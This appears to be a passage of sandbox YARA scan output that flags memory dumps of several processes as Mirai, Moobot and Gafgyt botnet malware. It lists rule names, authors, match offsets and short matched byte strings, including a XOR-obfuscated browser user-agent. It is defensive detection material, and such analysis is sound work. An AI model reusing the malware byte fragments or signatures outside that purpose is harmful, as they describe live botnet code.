6613.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6613.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6381.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6780.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6780.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6780.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6780.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6780.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6780.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6829.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6457.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7142.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6471.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6471.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6471.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6471.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6471.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6471.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6320.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6320.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6320.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6320.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6320.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6320.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7117.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7117.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7117.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7117.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7117.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7117.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6712.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6316.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6266.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6266.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6266.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6266.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6266.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 